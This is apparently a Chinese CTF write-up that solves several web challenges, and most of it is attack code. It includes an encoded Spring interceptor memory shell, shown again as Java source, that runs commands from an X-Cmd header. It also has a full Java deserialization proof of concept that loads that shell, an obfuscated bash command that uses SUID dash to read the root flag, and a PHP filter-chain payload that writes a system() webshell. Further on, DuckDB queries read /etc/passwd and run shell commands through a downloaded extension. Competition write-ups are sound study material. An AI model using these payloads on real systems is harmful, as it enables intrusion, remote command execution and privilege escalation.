2AWa3AWe/GQUqLbYAxrA6B7sAjFkZB7YBZrcBZ78AAwAlAHIAdQA/AJwAowCkAD0AswC6ALsAPQABAYIAAAAvAA4OQwcAcv4ACAcAcgcAugcAcv0AFwcBaQEsBfkAAghCBwA/Cw1UBwA9DkcHAD0BgQAAAAgAAwA/AEEAPQAIAWoAFwABAYAAAAAVAAIAAAAAAAm7AAJZtwFrV7EAAAAAAAEAHAAXAAEBgAAAAM4ABgALAAAAqxMBbbgA6EwrEwFvtgFSTSwEtgFyLAG2AUxOEnITAXQDvQBytgElOgQZBBIEAcABdrYAxjoFLbYAcBMBeAS9AHJZAxMBSlO2ASU6BhJyEwF6tgFSOgcZBi0EvQAEWQMZB1O2AMY6CC22AHATAXwGvQByWQMSBFNZBLIBf1NZBRIEU7YBJToJGQktBr0ABFkDKrYAcFNZBBkIU1kFGQVTtgDGV6cACDoKpwADsQABAAAAogClABkAAQGCAAAACQAC9wClBwAZBAAA";

    String className = "org.example.InterceptorShell";
    String base64Payload = "yv66vgAAAD0AowoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsIAA4BADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQLABAAEQcAEgwAEwAUAQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7BwAWAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQHABgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nCwAVABoMABsAHAEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7BwAeAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcIACABABNhZGFwdGVkSW50ZXJjZXB0b3JzCgAiACMHACQMACUAJgEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKACgAKQcAKgwAKwAsAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAKAAuDAAvADABAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwcAMgEADmphdmEvdXRpbC9MaXN0CwAxADQMADUANgEAA2FkZAEAFihJTGphdmEvbGFuZy9PYmplY3Q7KVYHADgBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAA6AQAFWC1DbWQLADwAPQcAPgwAPwBAAQAnamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsKAEIAQwcARAwARQBGAQAQamF2YS9sYW5nL1N0cmluZwEAB2lzRW1wdHkBAAMoKVoKAEgASQcASgwASwBMAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgBIAE4MAE8AUAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsKAFIAUwcAVAwAVQBWAQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07BwBYAQARamF2YS91dGlsL1NjYW5uZXIKAFcAWgwABQBbAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCABdAQACXEEKAFcAXwwAYABhAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CgBXAGMMAGQARgEAB2hhc05leHQKAFcAZgwAZwBoAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CABqAQAACwBsAG0HAG4MAG8AcAEAKGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwoAcgBzBwB0DAB1AHYBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYLAGwAeAwAeQAGAQALZmx1c2hCdWZmZXIHAHsBABxvcmcvZXhhbXBsZS9JbnRlcmNlcHRvclNoZWxsCgB6AAMHAH4BADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAB21hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARsaXN0AQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAB5Mb3JnL2V4YW1wbGUvSW50ZXJjZXB0b3JTaGVsbDsBAA1TdGFja01hcFRhYmxlAQAJcHJlSGFuZGxlAQBoKExqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBACpMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kBwCdAQATamF2YS9pby9JbnB1dFN0cmVhbQEACkV4Y2VwdGlvbnMBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABVJbnRlcmNlcHRvclNoZWxsLmphdmEAIQB6AAIAAQB9AAAABAABAAUABgABAH8AAADYAAMABQAAAEQqtwABuAAHEg0DuQAPAwDAABVMKxIXuQAZAgDAABdNEh0SH7YAIU4tBLYAJy0stgAtwAAxOgQZBAMquQAzAwCnAARMsQABAAQAPwBCADcAAwCAAAAAKgAKAAAADwAEABEAEwASAB8AEwAnABQALAAVADYAFgA/ABgAQgAXAEMAGQCBAAAANAAFABMALACCAIMAAQAfACAAhACFAAIAJwAYAIYAhwADADYACQCIAIkABAAAAEQAigCLAAAAjAAAABAAAv8AQgABBwB6AAEHADcAAAEAjQCOAAIAfwAAATEAAwAIAAAAYisSObkAOwIAOgQZBMYAVBkEtgBBmgBMuABHGQS2AE22AFE6BbsAV1kZBbcAWRJctgBeOgYZBrYAYpkACxkGtgBlpwAFEmk6Byy5AGsBABkHtgBxLLkAdwEApwAFOgUDrASsAAEAFwBZAFwANwADAIAAAAAqAAoAAAAcAAoAHQAXAB8AJAAgADQAIQBIACIAUwAjAFkAJABeACUAYAAnAIEAAABSAAgAJAA1AI8AkAAFADQAJQCRAJIABgBIABEAkwCUAAcAAABiAIoAiwAAAAAAYgCVAJYAAQAAAGIAlwCYAAIAAABiAJkAmgADAAoAWACbAJQABACMAAAALQAF/gBEBwBCBwCcBwBXQQcAQv8AFQAFBwB6BwA8BwBsBwACBwBCAAEHADcBAQCeAAAABAABADcAAQCNAJ8AAQB/AAAASgABAAQAAAACBKwAAAACAIAAAAAGAAEAAAArAIEAAAAqAAQAAAACAIoAiwAAAAAAAgCVAJoAAQAAAAIAlwCaAAIAAAACAJkAmgADAAgAoAAGAAEAfwAAACUAAgAAAAAACbsAelm3AHxXsQAAAAEAgAAAAAoAAgAAAAwACAANAAEAoQAAAAIAog==";

    static {
        new springMemshell();
    }

    public springMemshell() {
        try {
            Class<?> clazz = null;
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            if (loader == null) {
                loader = springMemshell.class.getClassLoader();
            }

            try {
                clazz = Class.forName(className, false, loader);
            } catch (ClassNotFoundException e) {
            }

            if (clazz == null) {
                try {
                    Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
                    Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
                    unsafeField.setAccessible(true);
                    Unsafe unsafe = (Unsafe) unsafeField.get(null);

                    Module module = Object.class.getModule();
                    Class<?> cls = springMemshell.class;
                    long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
                    unsafe.getAndSetObject(cls, offset, module);
                    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                    defineClass.setAccessible(true);

                    byte[] bytecode = Base64.getDecoder().decode(base64Payload);
                    clazz = (Class<?>) defineClass.invoke(loader, bytecode, 0, bytecode.length);
                } catch (Exception e) {
                }
            }

            if (clazz != null) {
                clazz.newInstance();
            }

        } catch (Exception e) {
        }
    }
}

发现java-chains的内存马用不了,估计是因为Tomcat10里面的类名改变, javax.servlet.Filter变成了jakarta.servlet.Filter,自己写一个就行了😏

package org.example;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorShell implements HandlerInterceptor {
    static {
        new InterceptorShell();
    }

    public InterceptorShell() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List list = (List) field.get(mapping);
            list.add(0, this);
        } catch (Exception e) {
        }
    }

    public boolean preHandle(jakarta.servlet.http.HttpServletRequest request, jakarta.servlet.http.HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getHeader("X-Cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.flushBuffer();
            } catch (Exception e) {}
            return false;
        }
        return true;
    }

    public boolean preHandle(Object request, Object response, Object handler) {
        return true;
    }
}

最终poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.NameMatchMethodPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import sun.misc.Unsafe;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class Poc {

    public static void main(String[] args) throws Exception {
        patchModule(Poc.class);

        Object templates = createTemplatesImplByUnsafe("calc");
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);

        AspectJAroundAdvice advice = (AspectJAroundAdvice) allocateInstance(AspectJAroundAdvice.class);
        setField(advice, "aspectInstanceFactory", factory);
        setField(advice, "declaringClass", Templates.class);
        setField(advice, "methodName", "getOutputProperties");
        setField(advice, "parameterTypes", new Class[0]);

        AspectJExpressionPointcut pointcut = (AspectJExpressionPointcut) allocateInstance(AspectJExpressionPointcut.class);
        setField(pointcut, "expression", "");
        setField(advice, "pointcut", pointcut);
        setIntField(advice, "joinPointArgumentIndex", -1);
        setIntField(advice, "joinPointStaticPartArgumentIndex", -1);

        NameMatchMethodPointcutAdvisor advisor = new NameMatchMethodPointcutAdvisor(advice);
        advisor.setMappedName("toString");
        List<Advisor> advisors = new ArrayList<>();
        advisors.add(advisor);

        Class<?> jdkDynamicProxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> proxyConstructor = jdkDynamicProxyClass.getDeclaredConstructor(AdvisedSupport.class);
        proxyConstructor.setAccessible(true);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTargetSource(new SingletonTargetSource("target"));

        setField(advisedSupport, "advisors", advisors);
        setField(advisedSupport, "advisorChainFactory", new DefaultAdvisorChainFactory());

        InvocationHandler handler = (InvocationHandler) proxyConstructor.newInstance(advisedSupport);

        Object proxy = Proxy.newProxyInstance(
                Poc.class.getClassLoader(),
                new Class[]{Map.class},
                handler
        );

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getField(undoManager, "edits");
        edits.add(proxy);
        setField(listenerList, "listenerList", new Object[]{Class.class, undoManager});


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(listenerList);
        oos.close();
        String base64Str = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(base64Str);

//        ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(bais);
//        ois.readObject();
    }

    private static Unsafe getUnsafe() {
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe");
            f.setAccessible(true);
            return (Unsafe) f.get(null);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object allocateInstance(Class<?> clazz) {
        try {
            return getUnsafe().allocateInstance(clazz);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        }
    }

    private static void setField(Object obj, String fieldName, Object value) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            unsafe.putObject(obj, offset, value);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static void setIntField(Object obj, String fieldName, int value) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            unsafe.putInt(obj, offset, value);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object getField(Object obj, String fieldName) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            return unsafe.getObject(obj, offset);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object createTemplatesImplByUnsafe(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
//        CtClass evilClass = pool.makeClass("Evil" + System.nanoTime());
//        evilClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");");

        CtClass evilClass = pool.get("org.example.springMemshell");
        evilClass.setName("Evil"+System.nanoTime());
        byte[] evilBytes = evilClass.toBytecode();

        CtClass stubClass = pool.makeClass("Stub" + System.nanoTime());
        byte[] stubBytes = stubClass.toBytecode();

        Object templates = allocateInstance(TemplatesImpl.class);

        setField(templates, "_bytecodes", new byte[][]{evilBytes, stubBytes});
        setField(templates, "_name", "Pwnd");
        setIntField(templates, "_transletIndex", 0);

        return templates;
    }

    private static void patchModule(Class<?> clazz) {
        try {
            Unsafe unsafe = getUnsafe();
            Module javaBaseModule = Object.class.getModule();
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
            unsafe.putObject(clazz, offset, javaBaseModule);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

最后还需要 dash 来进行 suid 提权

GET / HTTP/1.1
Host: web-d2b3798417.challenge.xctf.org.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Cmd: bash -c {echo,L3Vzci9iaW4vZGFzaCAtcCAtYyAidGFjIC9yb290L2ZsYWci}|{base64,-d}|{bash,-i}
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: keep-alive

img

insph

ADVANCED NEURAL COMPUTING SYSTEM

DATA PROCESSING
SOURCE CODE
<?php
error_reporting(0);
session_start();
class FileUpload {
    public function upload() {
        if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
            exit('not file or upload error!');
        }
        $file = $_FILES['file'];
        $fileName = basename($file['name']);
        $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));

        if (!in_array($fileExt, ['jpg', 'png', 'gif'])) {
            exit('only jpg, png, gif files are allowed!');
        }

        $file_content = file_get_contents($file['tmp_name']);

        if (strpos($file_content, '<?') !== false) {
            exit('file content not allowed!');
        }

        $destination = "./uploads/". $fileName;
        if (move_uploaded_file($file['tmp_name'], $destination)) {
            exit('file upload success,address is '.$destination);
        }

        exit("upload failed!");
    }
}

class FileView {
    public function includeFile($path) {
        if (preg_match('/php:\/\/|home|var|proc|root|\.\.|flag|access/i',$path)){
            exit("Don't read system file!");
        }
        include $path;
    }
}

class UserLogin {
    public $name;
    public $role;
    public function __wakeup() {
        if ($this->role === 'super_admin') {
            echo "Welcome Admin:" . $this->name;
        }else{
            echo "Welcome User:" . $this->name;
        }
    }
}

class SystemTool {
    public $name;
    public $arg;
    public function __toString(){
        ($this->name)($this->arg);
        return "tools";
    }
}

// 数据处理
if (isset($_GET['data'])) {
    $data = $_GET['data'];
    if (preg_match("/zip|phar|uploads/i",$data)){
        exit("Don't use dangerous protocol!");
    }
    file_put_contents($data, file_get_contents($data));
    echo "Data processed successfully!";
    exit;
}
?>

无法 include 包含.phar,注意这行代码file_put_contents($data, file_get_contents($data));

应该是打 filter-chain,

python php_filter_chain_generator.py --chain '<?php system($_GET[1]);?>'

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=1.php

然后直接读取 flag

img

Dam

https://github.com/dbeaver/cloudbeaver 这个项目,进入靶机先进行 DuckDB 数据库链接,路径填jdbc:duckdb,模式选择URL,利用执行框进行任意文件读取

SELECT * FROM read_text('/etc/passwd');

img

找到一个拓展hoax可以执行命令 https://duckdb.org/community_extensions/extensions/shellfs#installing-and-loading

INSTALL shellfs FROM community;
LOAD shellfs;

但是本地并没有这个拓展, 得知 DuckDB 版本是 v1.3.2,架构是 linux_amd64,Candidate extensions: "httpfs", "jemalloc", "delta", "excel", "mysql"可以利用 httpfs 去下载拓展

wget http://community-extensions.duckdb.org/v1.3.2/linux_amd64/shellfs.duckdb_extension.gz
gzip -d shellfs.duckdb_extension.gz


python3 -m http.server 10000

加载拓展,没成功,

UNPIVOT (
    SELECT 'community' AS repository, *
        FROM 'https://community-extensions.duckdb.org/downloads-last-week.json'
    )
ON COLUMNS(* EXCLUDE (_last_update, repository))
INTO NAME extension VALUE downloads_last_week
ORDER BY downloads_last_week DESC;

然后就可以直接下载了

INSTALL shellfs FROM community;
LOAD shellfs;
//SELECT * FROM read_csv('find /usr/bin/ -user root -perm -4000 -print 2>/dev/null |', auto_detect=true);

SELECT * FROM read_csv('find . -exec cat /root/flag ; -quit |', auto_detect=true);

suid 提权即可,中途环境一直崩,我估计是因为主办方内存分的不够多的原因,毕竟这个项目也挺大的。

Labyrinth

省略了,因为我并没有做出来,最后看到链子是

PriorityQueue.readObject()
    └─> heapify() / siftDown()
        └─> Comparable.compareTo()
            └─> CustomProxy.compareTo(o)
                └─> InvocationHandler.invoke(this, m3, {o})
                    └─> DataSourceHandler.invoke()
                        └─> method.invoke(ds, args)
                            └─> ELProcessor.eval(expression)
                                └─> Arbitrary code execution

就找不到 DataSourceHandler 这样这个合适的 invokeHandler,这周末余神太忙了,不然这个肯定他就秒了

小结

题目有点多,但是我做的都不是特别难的题,太难的我也做不来,最后成功在本次CTF实现了学习java的基础目标

1

与此同时,插播一条广告,有没有师傅愿意加入SU和 baozongwi 一起做web的,水平要求大概就是本文中的题目能独立解出绝大多数即可,感觉最近SU打web的人比往常少了好多,有点累了😣

https://baozongwi.xyz/p/spring-native-deserialization-chains/

https://baozongwi.xyz/p/high-jdk-reflection-templatesimpl/

https://research.qianxin.com/archives/3018